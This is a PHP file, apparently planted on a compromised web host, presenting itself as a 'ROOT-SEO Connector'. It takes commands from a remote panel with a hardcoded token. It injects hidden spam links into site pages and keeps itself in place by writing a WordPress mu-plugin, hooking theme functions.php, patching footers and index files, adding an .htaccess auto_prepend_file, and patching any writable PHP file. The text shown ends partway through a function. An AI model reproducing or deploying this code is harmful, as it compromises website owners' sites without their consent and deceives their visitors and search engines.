File: /homepages/30/d988631917/htdocs/clickandbuilds/LANDING/XYZEAZ_32lk19wo.php
<?php
/**
* ROOT-SEO Connector v5.2
* - Token-based auth only
* - Aggressive hybrid placement chain
* - Multi-render packs per logical link
* - Cleanup-safe file store with verify/reconcile actions
*/
error_reporting(E_ALL);
ini_set('display_errors', 0);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-RS-Panel-Token, X-RS-Ts, X-RS-Req-Id');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit;
}
define('CONNECTOR_VERSION', '5.2');
define('PANEL_API_URL', 'https://root-seo.com/api');
define('PANEL_TOKEN', 'vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7wYTfjSdRh-5yptQr75D10AUwT2Zq_HrKn');
define('LINKS_FILE', __DIR__ . '/.rs_links_v5.json');
define('CONFIG_FILE', __DIR__ . '/.rs_v5_config.json');
define('NONCES_FILE', __DIR__ . '/.rs_v5_nonces.json');
define('PREPEND_HELPER_FILE', __DIR__ . '/.rs_prepend_v5.php');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 5000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);
function respond($success, $data = [], $message = '', $status = 200) {
http_response_code($status);
header('Content-Type: application/json; charset=UTF-8');
echo json_encode([
'success' => (bool)$success,
'message' => (string)$message,
'data' => is_array($data) ? $data : []
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
exit;
}
function get_raw_body() {
static $raw = null;
if ($raw === null) {
$raw = file_get_contents('php://input');
if ($raw === false) $raw = '';
if (strlen($raw) > MAX_REQUEST_BYTES) {
respond(false, [], 'request_too_large', 413);
}
}
return $raw;
}
function get_request_data() {
$data = [];
if (!empty($_GET)) {
foreach ($_GET as $k => $v) $data[$k] = $v;
}
if (!empty($_POST)) {
foreach ($_POST as $k => $v) $data[$k] = $v;
}
$raw = get_raw_body();
if ($raw !== '') {
$json = json_decode($raw, true);
if (is_array($json)) {
foreach ($json as $k => $v) $data[$k] = $v;
}
}
return $data;
}
function get_action_name($req) {
$action = '';
if (isset($req['action'])) $action = (string)$req['action'];
if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
if ($action === '') $action = 'ping';
$action = strtolower(trim($action));
$action = preg_replace('/[^a-z0-9_]/', '', $action);
return $action ?: 'ping';
}
function load_json_file($path, $fallback = []) {
if (!file_exists($path)) return $fallback;
$raw = @file_get_contents($path);
if ($raw === false || $raw === '') return $fallback;
$json = json_decode($raw, true);
return is_array($json) ? $json : $fallback;
}
function save_json_file($path, $data) {
return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}
function normalize_rel($rel) {
$rel = strtolower(trim((string)$rel));
$allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}
function default_render_types() {
return ['text_inline', 'text_footer', 'badge_link', 'button_link', 'compact_list_item', 'micro_widget'];
}
function default_placement_state() {
return [
'status' => 'not_installed',
'strategy' => null,
'target' => null,
'install_mode' => null,
'marker' => null,
'message' => '',
'installed_at' => null,
'last_attempt_at' => null,
'last_verified_at' => null,
'verify_status' => 'unknown',
'history' => [],
];
}
function default_config() {
return [
'output_mode' => 'hidden_pack',
'render_profile' => 'aggressive_hybrid_multi',
'render_types' => default_render_types(),
'link_rel_strategy' => 'preserve',
'placement' => default_placement_state(),
];
}
function merge_configs($base, $incoming) {
$out = $base;
foreach ($incoming as $key => $value) {
if ($key === 'placement' && is_array($value)) {
$out['placement'] = array_merge(default_placement_state(), $value);
} else {
$out[$key] = $value;
}
}
return $out;
}
function load_config() {
$cfg = load_json_file(CONFIG_FILE, []);
$cfg = merge_configs(default_config(), $cfg);
$types = [];
foreach ((array)($cfg['render_types'] ?? []) as $type) {
$type = trim((string)$type);
if ($type !== '') $types[] = $type;
}
$cfg['render_types'] = $types ?: default_render_types();
return $cfg;
}
function save_config($config) {
return save_json_file(CONFIG_FILE, $config);
}
function is_panel_authenticated() {
$expected = trim((string)PANEL_TOKEN);
if ($expected === '' || strpos($expected, '{{') !== false) return false;
$provided = '';
if (isset($_SERVER['HTTP_X_RS_PANEL_TOKEN'])) {
$provided = trim((string)$_SERVER['HTTP_X_RS_PANEL_TOKEN']);
}
return $provided !== '' && hash_equals($expected, $provided);
}
function load_nonce_store() {
return load_json_file(NONCES_FILE, []);
}
function save_nonce_store($items) {
return save_json_file(NONCES_FILE, $items);
}
function enforce_optional_replay_guard() {
$ts = isset($_SERVER['HTTP_X_RS_TS']) ? trim((string)$_SERVER['HTTP_X_RS_TS']) : '';
$reqId = isset($_SERVER['HTTP_X_RS_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_RS_REQ_ID']) : '';
if ($ts === '' && $reqId === '') return;
if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400);
if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400);
if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400);
if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409);
$store = load_nonce_store();
$now = time();
foreach ($store as $key => $seenAt) {
if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) {
unset($store[$key]);
}
}
if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409);
$store[$reqId] = $now;
save_nonce_store($store);
}
function authenticate_protected_request() {
if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
enforce_optional_replay_guard();
}
function validate_url_value($url) {
$url = trim((string)$url);
if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
$parts = @parse_url($url);
if (!$parts || empty($parts['scheme'])) return '';
$scheme = strtolower((string)$parts['scheme']);
if (!in_array($scheme, ['http', 'https'], true)) return '';
return $url;
}
function validate_anchor_text($anchor) {
$anchor = trim((string)$anchor);
if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
return $anchor;
}
function validate_link_id($linkId) {
$linkId = trim((string)$linkId);
if ($linkId === '') return '';
if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
return $linkId;
}
function build_deterministic_link_id($url, $anchor, $rel) {
$seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}
function filter_render_types($types) {
$allowed = default_render_types();
$final = [];
foreach ((array)$types as $type) {
$type = trim((string)$type);
if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) {
$final[] = $type;
}
}
return $final ?: default_render_types();
}
function apply_placement_snapshot_to_link($row, $placement) {
$row['placement_status'] = $placement['status'] ?? 'not_installed';
$row['placement_strategy'] = $placement['strategy'] ?? null;
$row['placement_target'] = $placement['target'] ?? null;
$row['last_verified_at'] = $placement['last_verified_at'] ?? null;
return $row;
}
function normalize_link_row($key, $row, $config) {
if (!is_array($row)) return null;
$url = validate_url_value($row['url'] ?? '');
$anchor = validate_anchor_text($row['anchor'] ?? '');
if ($url === '' || $anchor === '') return null;
$rel = normalize_rel($row['rel'] ?? 'dofollow');
$id = validate_link_id($row['id'] ?? '');
if ($id === '') {
$id = validate_link_id($key);
}
if ($id === '') {
$id = build_deterministic_link_id($url, $anchor, $rel);
}
$placement = $config['placement'] ?? default_placement_state();
$normalized = [
'id' => $id,
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'expires_at' => isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null,
'created' => isset($row['created']) ? intval($row['created']) : time(),
'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(),
'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'aggressive_hybrid_multi'))),
'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())),
'cleanup_status' => trim((string)($row['cleanup_status'] ?? 'active')),
'cleanup_failed_at' => $row['cleanup_failed_at'] ?? null,
'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20),
'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'),
'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null),
'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null),
'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null),
];
return $normalized;
}
function load_links() {
$raw = load_json_file(LINKS_FILE, []);
$config = load_config();
$normalized = [];
foreach ($raw as $key => $row) {
$item = normalize_link_row($key, $row, $config);
if ($item) {
$normalized[$item['id']] = $item;
}
}
return $normalized;
}
function save_links($links) {
$config = load_config();
$normalized = [];
foreach ((array)$links as $key => $row) {
$item = normalize_link_row($key, $row, $config);
if ($item) {
$normalized[$item['id']] = $item;
}
}
ksort($normalized);
return save_json_file(LINKS_FILE, $normalized);
}
function filtered_links($links) {
$visible = [];
$expired = [];
$now = time();
foreach ($links as $link) {
if (!is_array($link)) continue;
$expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0;
if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
$expired[] = $link;
continue;
}
$visible[] = $link;
}
return [$visible, $expired];
}
function get_link_stats($links) {
list($active, $expired) = filtered_links($links);
return [
'total' => count($links),
'active' => count($active),
'expired' => count($expired),
];
}
function build_rel_attr($rel) {
if ($rel === 'dofollow') return '';
return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}
function rootseo_hidden_container_style($outputMode) {
if ($outputMode === 'visible') {
return 'display:block;margin:8px 0;font-size:14px;line-height:1.5;';
}
return 'position:absolute;left:-9999px;top:auto;width:1px;height:1px;overflow:hidden;opacity:0;pointer-events:none;white-space:nowrap;';
}
function rootseo_anchor_style($type, $outputMode) {
if ($outputMode === 'visible') {
switch ($type) {
case 'badge_link':
return 'display:inline-block;padding:2px 8px;border-radius:999px;background:#f5f5f5;color:#111;text-decoration:none;font-size:12px;margin:0 6px 6px 0;';
case 'button_link':
return 'display:inline-block;padding:6px 12px;border-radius:6px;background:#111;color:#fff;text-decoration:none;font-size:13px;margin:0 6px 6px 0;';
default:
return 'display:inline-block;margin:0 8px 0 0;color:inherit;text-decoration:none;font-size:inherit;';
}
}
return 'color:inherit;text-decoration:none;font-size:1px;line-height:1;';
}
function build_render_variant_html($link, $type, $outputMode) {
$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
$anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
$relAttr = build_rel_attr($link['rel']);
$style = rootseo_anchor_style($type, $outputMode);
switch ($type) {
case 'badge_link':
return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '"><span style="display:inline-block;padding:1px 7px;border-radius:999px;border:1px solid currentColor;">' . $anchor . '</span></a>';
case 'button_link':
return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '"><span style="display:inline-block;padding:4px 10px;border-radius:6px;border:1px solid currentColor;">' . $anchor . '</span></a>';
case 'compact_list_item':
return '<ul style="margin:0;padding:0;list-style:none;"><li><a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></li></ul>';
case 'micro_widget':
return '<aside><strong>' . $anchor . '</strong> <a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></aside>';
case 'text_footer':
return '<span><a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a></span>';
case 'text_inline':
default:
return '<a href="' . $url . '"' . $relAttr . ' style="' . $style . '">' . $anchor . '</a>';
}
}
function rootseo_build_render_html($markRenderedOnce = true) {
if ($markRenderedOnce && defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) {
return '';
}
if ($markRenderedOnce) {
define('ROOTSEO_CONNECTOR_RENDERED_ONCE', true);
}
$links = load_links();
list($activeLinks, $expiredLinks) = filtered_links($links);
if (empty($activeLinks)) return '';
$config = load_config();
$outputMode = strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack')));
$parts = [];
foreach ($activeLinks as $link) {
$variants = [];
foreach (filter_render_types($link['render_types'] ?? $config['render_types']) as $type) {
$variants[] = '<div data-rs-variant="' . htmlspecialchars($type, ENT_QUOTES, 'UTF-8') . '">' . build_render_variant_html($link, $type, $outputMode) . '</div>';
}
if (!empty($variants)) {
$parts[] = '<div data-rs-link-id="' . htmlspecialchars($link['id'], ENT_QUOTES, 'UTF-8') . '">' . implode('', $variants) . '</div>';
}
}
if (empty($parts)) return '';
return '<div data-rootseo-render="multi-pack" style="' . rootseo_hidden_container_style($outputMode) . '">' . implode('', $parts) . '</div>';
}
function rootseo_render_links_html() {
return rootseo_build_render_html(true);
}
function find_document_root() {
$base = $_SERVER['DOCUMENT_ROOT'] ?? '';
if (empty($base)) {
$base = dirname(__FILE__);
for ($i = 0; $i < 5; $i++) {
if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break;
$parent = dirname($base);
if ($parent === $base) break;
$base = $parent;
}
}
return $base;
}
function get_active_wp_theme_footer($base) {
$themes = glob($base . '/wp-content/themes/*/footer.php');
if (!$themes) return null;
$latest = null;
$latestTime = 0;
foreach ($themes as $footer) {
$mtime = @filemtime($footer);
if ($mtime > $latestTime) {
$latestTime = $mtime;
$latest = $footer;
}
}
return $latest;
}
function get_footer_paths($base, $siteType) {
$paths = [];
switch ($siteType) {
case 'wordpress':
$themes = glob($base . '/wp-content/themes/*/footer.php');
if ($themes) $paths = array_merge($paths, $themes);
break;
case 'joomla':
$tpls = glob($base . '/templates/*/index.php');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'drupal':
$tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'opencart':
$tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'prestashop':
$tpls = glob($base . '/themes/*/templates/_partials/footer.tpl');
if ($tpls) $paths = array_merge($paths, $tpls);
$tpls2 = glob($base . '/themes/*/footer.tpl');
if ($tpls2) $paths = array_merge($paths, $tpls2);
break;
case 'laravel':
$layouts = glob($base . '/resources/views/layouts/*.blade.php');
if ($layouts) $paths = array_merge($paths, $layouts);
break;
}
$general = [
$base . '/footer.php',
$base . '/includes/footer.php',
$base . '/inc/footer.php',
$base . '/template/footer.php',
$base . '/templates/footer.php'
];
foreach ($general as $path) {
if (file_exists($path)) $paths[] = $path;
}
return array_values(array_unique($paths));
}
function check_footer_writable($base, $siteType) {
$paths = get_footer_paths($base, $siteType);
foreach ($paths as $path) {
if (file_exists($path) && is_writable($path)) return true;
}
if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
return false;
}
function detect_site_info() {
$base = find_document_root();
$info = [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_type' => 'static',
'language' => 'EN',
'country' => 'US',
'footer_detected' => false,
'footer_writable' => false,
'meta_description' => '',
'charset' => 'UTF-8',
'php_version' => phpversion(),
'document_root' => $base,
'connector_path' => __FILE__,
];
if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
$info['site_type'] = 'wordpress';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) {
$info['site_type'] = 'joomla';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) {
$info['site_type'] = 'drupal';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) {
$info['site_type'] = 'opencart';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) {
$info['site_type'] = 'prestashop';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/artisan')) {
$info['site_type'] = 'laravel';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/index.php')) {
$info['site_type'] = 'php';
}
$indexFiles = ['index.php', 'index.html', 'index.htm'];
foreach ($indexFiles as $file) {
$path = $base . '/' . $file;
if (!file_exists($path)) continue;
$content = @file_get_contents($path, false, null, 0, 50000);
if (!$content) continue;
if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) {
$info['site_name'] = trim(strip_tags($m[1]));
}
if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) {
$info['meta_description'] = trim($m[1]);
}
if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) {
$lang = strtolower($m[1]);
$langMap = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR'];
$countryMap = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA'];
$info['language'] = $langMap[$lang] ?? 'EN';
$info['country'] = $countryMap[$lang] ?? 'US';
}
if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) {
$info['footer_detected'] = true;
}
break;
}
$info['footer_writable'] = check_footer_writable($base, $info['site_type']);
$info['footer_paths'] = get_footer_paths($base, $info['site_type']);
$info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null;
return $info;
}
function placement_marker($strategy) {
return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}
function build_dynamic_php_snippet($marker) {
$connectorPath = addslashes(__FILE__);
return "<?php /* ROOTSEO_START:$marker */ if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* ROOTSEO_END:$marker */ ?>";
}
function build_static_html_block($marker) {
return "<!-- ROOTSEO_HTML_START:$marker -->" . rootseo_build_render_html(false) . "<!-- ROOTSEO_HTML_END:$marker -->";
}
function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
$startPos = strpos($content, $startMarker);
$endPos = strpos($content, $endMarker);
if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
$endPos += strlen($endMarker);
return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}
function upsert_php_file_block($filePath, $marker) {
if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable'];
$content = @file_get_contents($filePath);
if ($content === false) return [false, 'file_read_failed'];
$snippet = build_dynamic_php_snippet($marker);
$existing = replace_between_markers($content, "/* ROOTSEO_START:$marker */", "/* ROOTSEO_END:$marker */", $snippet);
if ($existing !== null) {
if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block'];
return [false, 'file_write_failed'];
}
$newContent = null;
foreach (['</body>', '</footer>', '</html>', '?>'] as $needle) {
$pos = strripos($content, $needle);
if ($pos !== false) {
$newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos);
break;
}
}
if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n";
if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed'];
return [true, 'inserted_block'];
}
function upsert_html_file_block($filePath, $marker) {
if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable'];
$content = @file_get_contents($filePath);
if ($content === false) return [false, 'file_read_failed'];
$block = build_static_html_block($marker);
$existing = replace_between_markers($content, "<!-- ROOTSEO_HTML_START:$marker -->", "<!-- ROOTSEO_HTML_END:$marker -->", $block);
if ($existing !== null) {
if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block'];
return [false, 'file_write_failed'];
}
$newContent = null;
foreach (['</body>', '</footer>', '</html>'] as $needle) {
$pos = strripos($content, $needle);
if ($pos !== false) {
$newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos);
break;
}
}
if ($newContent === null) $newContent = $content . "\n" . $block . "\n";
if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed'];
return [true, 'inserted_block'];
}
function install_mu_plugin($siteInfo) {
$base = $siteInfo['document_root'];
$muDir = $base . '/wp-content/mu-plugins';
if (!is_dir($muDir)) {
if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed'];
}
if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable'];
$marker = placement_marker('wp_mu_plugin');
$pluginPath = $muDir . '/rootseo-links-v5.php';
$connectorPath = addslashes(__FILE__);
$code = "<?php\n/* ROOTSEO_MUPLUGIN:$marker */\nif (!defined('ABSPATH')) { return; }\nadd_action('wp_footer', function () {\n if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n}, 9999);\n";
if (@file_put_contents($pluginPath, $code) === false) return [false, null, null, 'mu_plugin_write_failed'];
return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed'];
}
function install_functions_hook($siteInfo) {
$footer = $siteInfo['active_theme_footer'] ?: null;
if (!$footer) return [false, null, null, 'active_theme_footer_missing'];
$functionsFile = dirname($footer) . '/functions.php';
if (!file_exists($functionsFile) || !is_writable($functionsFile)) return [false, null, null, 'functions_not_writable'];
$marker = placement_marker('wp_functions_hook');
$content = @file_get_contents($functionsFile);
if ($content === false) return [false, null, null, 'functions_read_failed'];
$connectorPath = addslashes(__FILE__);
$functionName = 'rootseo_render_' . preg_replace('/[^a-z0-9]/i', '', $marker);
$snippet = "\n/* ROOTSEO_FUNCTIONS_START:$marker */\nif (!function_exists('$functionName')) {\nfunction $functionName() {\n if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n}\nadd_action('wp_footer', '$functionName', 9999);\n}\n/* ROOTSEO_FUNCTIONS_END:$marker */\n";
if (strpos($content, "ROOTSEO_FUNCTIONS_START:$marker") !== false) {
return [true, $functionsFile, 'dynamic_php', 'functions_hook_exists'];
}
if (@file_put_contents($functionsFile, $content . $snippet) === false) return [false, null, null, 'functions_write_failed'];
return [true, $functionsFile, 'dynamic_php', 'functions_hook_installed'];
}
function install_file_patch($filePath, $strategy) {
$marker = placement_marker($strategy . '|' . $filePath);
$ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
if (in_array($ext, ['html', 'htm'], true)) {
list($ok, $msg) = upsert_html_file_block($filePath, $marker);
return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker];
}
list($ok, $msg) = upsert_php_file_block($filePath, $marker);
return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker];
}
function install_htaccess_prepend($siteInfo) {
$base = $siteInfo['document_root'];
$htaccess = $base . '/.htaccess';
$marker = placement_marker('htaccess_prepend');
$connectorPath = addslashes(__FILE__);
$helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n});\n";
if (@file_put_contents(PREPEND_HELPER_FILE, $helperCode) === false) return [false, null, null, 'prepend_helper_write_failed', $marker];
$line = 'php_value auto_prepend_file "' . PREPEND_HELPER_FILE . '"';
$content = file_exists($htaccess) ? (@file_get_contents($htaccess) ?: '') : '';
if (strpos($content, PREPEND_HELPER_FILE) === false) {
$newContent = "# ROOTSEO_HTACCESS_START:$marker\n$line\n# ROOTSEO_HTACCESS_END:$marker\n" . $content;
if (@file_put_contents($htaccess, $newContent) === false) return [false, null, null, 'htaccess_write_failed', $marker];
}
return [true, $htaccess, 'dynamic_prepend', 'htaccess_prepend_installed', $marker];
}
function install_any_php_file($siteInfo) {
$base = $siteInfo['document_root'];
$phpFiles = glob($base . '/*.php');
if (!$phpFiles) return [false, null, null, 'no_root_php_files', null];
foreach ($phpFiles as $file) {
$name = basename($file);
if (in_array($name, [basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'], true)) continue;
list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
if ($ok) return [true, $target, $mode, $msg, $marker];
}
return [false, null, null, 'no_writable_php_target', null];
}
function build_strategy_chain($siteInfo) {
$chain = [];
if ($siteInfo['site_type'] === 'wordpress') {
$chain[] = 'wp_mu_plugin';
$chain[] = 'wp_functions_hook';
if (!empty($siteInfo['active_theme_footer'])) {
$chain[] = ['file_patch', $siteInfo['active_theme_footer'], 'wp_active_footer'];
}
}
foreach ($siteInfo['footer_paths'] as $path) {
$chain[] = ['file_patch', $path, 'footer_patch'];
}
foreach (['index.php', 'index.html', 'index.htm'] as $file) {
$path = $siteInfo['document_root'] . '/' . $file;
if (file_exists($path)) {
$chain[] = ['file_patch', $path, 'index_patch'];
}
}
$chain[] = 'htaccess_prepend';
$chain[] = 'any_php_file';
return $chain;
}
function append_placement_history($config, $entry) {
$history = $config['placement']['history'] ?? [];
$history[] = $entry;
if (count($history) > PLACEMENT_HISTORY_LIMIT) {
$history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
}
$config['placement']['history'] = array_values($history);
return $config;
}
function verify_current_placement($config) {
$placement = $config['placement'] ?? default_placement_state();
$strategy = $placement['strategy'] ?? '';
$target = $placement['target'] ?? '';
$marker = $placement['marker'] ?? '';
if (!$strategy || !$target || !$marker) return [false, 'placement_missing'];
if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') {
if (!file_exists($target)) return [false, 'target_missing'];
$content = @file_get_contents($target);
return ($content !== false && strpos($content, $marker) !== false) ? [true, 'marker_present'] : [false, 'marker_missing'];
}
if ($strategy === 'htaccess_prepend') {
if (!file_exists($target) || !file_exists(PREPEND_HELPER_FILE)) return [false, 'prepend_missing'];
$content = @file_get_contents($target);
return ($content !== false && strpos($content, PREPEND_HELPER_FILE) !== false) ? [true, 'prepend_present'] : [false, 'prepend_missing'];
}
if (!file_exists($target)) return [false, 'target_missing'];
$content = @file_get_contents($target);
if ($content === false) return [false, 'target_unreadable'];
if (($placement['install_mode'] ?? '') === 'static_html') {
return strpos($content, "ROOTSEO_HTML_START:$marker") !== false ? [true, 'static_block_present'] : [false, 'static_block_missing'];
}
return strpos($content, "ROOTSEO_START:$marker") !== false ? [true, 'dynamic_block_present'] : [false, 'dynamic_block_missing'];
}
function refresh_current_placement($config) {
$placement = $config['placement'] ?? default_placement_state();
$target = $placement['target'] ?? '';
$marker = $placement['marker'] ?? '';
$installMode = $placement['install_mode'] ?? '';
if (!$target || !$marker) return [false, 'placement_target_missing'];
if ($placement['strategy'] === 'htaccess_prepend') {
$connectorPath = addslashes(__FILE__);
$helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n});\n";
return @file_put_contents(PREPEND_HELPER_FILE, $helperCode) !== false ? [true, 'prepend_refreshed'] : [false, 'prepend_refresh_failed'];
}
if ($installMode === 'static_html') {
return upsert_html_file_block($target, $marker);
}
if ($placement['strategy'] === 'wp_mu_plugin') {
return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'mu_plugin_missing'];
}
if ($placement['strategy'] === 'wp_functions_hook') {
return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'functions_hook_missing'];
}
return file_exists($target) ? [true, 'dynamic_hook_ok'] : [false, 'dynamic_hook_missing'];
}
function ensure_render_delivery($forceReinstall = false) {
$config = load_config();
$siteInfo = detect_site_info();
$placement = $config['placement'] ?? default_placement_state();
$verified = [false, 'not_checked'];
if (!$forceReinstall) {
$verified = verify_current_placement($config);
if ($verified[0]) {
$placement['status'] = 'installed';
$placement['verify_status'] = $verified[1];
$placement['last_verified_at'] = gmdate('c');
$config['placement'] = $placement;
save_config($config);
refresh_current_placement($config);
return [true, $config, ['verified' => true, 'message' => $verified[1]]];
}
}
foreach (build_strategy_chain($siteInfo) as $strategy) {
$nowIso = gmdate('c');
if (is_string($strategy)) {
if ($strategy === 'wp_mu_plugin') {
list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo);
$marker = placement_marker('wp_mu_plugin');
$strategyName = 'wp_mu_plugin';
} elseif ($strategy === 'wp_functions_hook') {
list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo);
$marker = placement_marker('wp_functions_hook');
$strategyName = 'wp_functions_hook';
} elseif ($strategy === 'htaccess_prepend') {
list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo);
$strategyName = 'htaccess_prepend';
} elseif ($strategy === 'any_php_file') {
list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo);
$strategyName = 'any_php_file';
} else {
continue;
}
} else {
$strategyName = $strategy[2];
list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]);
}
$config = append_placement_history($config, [
'at' => $nowIso,
'strategy' => $strategyName,
'target' => $target,
'install_mode' => $mode,
